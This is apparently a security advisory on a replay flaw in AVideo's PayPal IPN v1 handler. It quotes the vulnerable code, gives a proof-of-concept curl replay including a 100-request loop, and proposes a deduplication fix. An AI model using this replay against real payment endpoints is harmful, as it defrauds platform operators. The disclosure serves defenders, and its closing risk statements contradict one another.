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GHSA-mmw7-wq3c-wf9p
No affected components available
Summary
The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.
Details
When a recurring payment IPN arrives at ipn.php, the handler:
-
Verifies authenticity via
PayPalYPT::IPNcheck()(line 16), which sends the POST data to PayPal'scmd=_notify-validateendpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returnsVERIFIEDfor the same authentic data on every submission. -
Looks up the subscription from
recurring_payment_idand directly credits the user's wallet (lines 41-53):
// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
$plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
Subscription::renew($users_id, $row['subscriptions_plans_id']);
$obj->error = false;
}
No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.
Compare with the patched handlers:
ipnV2.php(line 50):PayPalYPT::isTokenUsed($_GET['token'])and (line 93):PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), withPayPalYPT_logentries saved on success.webhook.php(line 30):PayPalYPT::isTokenUsed($token)withPayPalYPT_logentry saved on success.
The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:
$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";
PoC
# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.
# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.
# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow
# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.
# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
-d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'
# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
-d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'
done
# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.
Impact
- Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
- Unlimited subscription renewals: Each replay also calls
Subscription::renew(), indefinitely extending subscription access from a single payment. - Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.
Recommended Fix
Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPT_log and check before processing:
// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:
} else {
_error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} ");
// Deduplication: check if this IPN was already processed
$dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];
if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {
_error_log("PayPalIPN: already processed, skipping");
die(json_encode($obj));
}
$subscription = AVideoPlugin::loadPluginIfEnabled("Subscription");
if (!empty($subscription)) {
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
_error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) ");
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
// Log the transaction for deduplication
$pp = new PayPalYPT_log(0);
$pp->setUsers_id($users_id);
$pp->setRecurring_payment_id($dedup_key);
$pp->setValue($payment_amount);
$pp->setJson(['post' => $_POST]);
if ($pp->save()) {
$plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
Subscription::renew($users_id, $row['subscriptions_plans_id']);
$obj->error = false;
}
} else {
_error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency ");
}
}
}
Additionally, consider migrating the notify_url references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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